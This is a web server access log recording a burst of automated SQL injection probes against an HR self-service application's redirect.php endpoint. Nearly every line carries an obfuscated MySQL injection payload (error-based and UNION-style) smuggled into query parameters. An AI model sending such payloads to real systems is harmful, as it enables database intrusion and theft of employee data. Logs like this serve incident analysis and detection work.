100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x57654857%2C%28NULL%29%2C0x4d46546e%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FfGzu%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x57654857%2C%28NULL%29%2C0x4d46546e%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FfGzu%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x4870696d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x77494269%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2Ffe2L&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x4870696d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x77494269%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2Ffe2L&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x38316b51%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4b6d537a%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FYVGc&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x38316b51%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4b6d537a%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FYVGc&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6d507453%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x43514b53%29%29x%29%29--%2F%2A%2A%2FNFWG&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6d507453%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x43514b53%29%29x%29%29--%2F%2A%2A%2FNFWG&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x64587331%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4869656f%29%29x%29%29--%2F%2A%2A%2FESeJ&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x64587331%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4869656f%29%29x%29%29--%2F%2A%2A%2FESeJ&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x77726238%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x786c6179%29%29%2C1%29--%2F%2A%2A%2FqpMj&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x77726238%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x786c6179%29%29%2C1%29--%2F%2A%2A%2FqpMj&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x48524856%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4350446c%29%29%2C1%29--%2F%2A%2A%2Ff3N9&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x48524856%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4350446c%29%29%2C1%29--%2F%2A%2A%2Ff3N9&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x354f3062%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x44506634%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FCORd&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x354f3062%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x44506634%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FCORd&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x36694c45%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x42677637%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fl6Qu%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x36694c45%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x42677637%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fl6Qu%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x346a4864%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6337335a%29%29%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FO2D5%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x346a4864%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6337335a%29%29%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FO2D5%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x78446b54%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x47644837%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x78446b54%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x47644837%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x52646848%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x31493436%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FTHt3&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x52646848%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x31493436%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FTHt3&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x66486a45%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f6c4234%29%29%2C1%29--%2F%2A%2A%2FB8yL&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x66486a45%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f6c4234%29%29%2C1%29--%2F%2A%2A%2FB8yL&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x49426c39%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x37656277%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2Fa7m0&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x49426c39%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x37656277%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2Fa7m0&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x6a30496b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a614d6f%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FlzKs&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x6a30496b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a614d6f%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FlzKs&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x57654857%2C%28NULL%29%2C0x4d46546e%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FfGzu%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4d435930%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e6a7733%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FKMV7%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4d435930%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e6a7733%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FKMV7%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x4870696d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x77494269%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2Ffe2L&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6c6f4568%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x78733073%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F2DSi&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
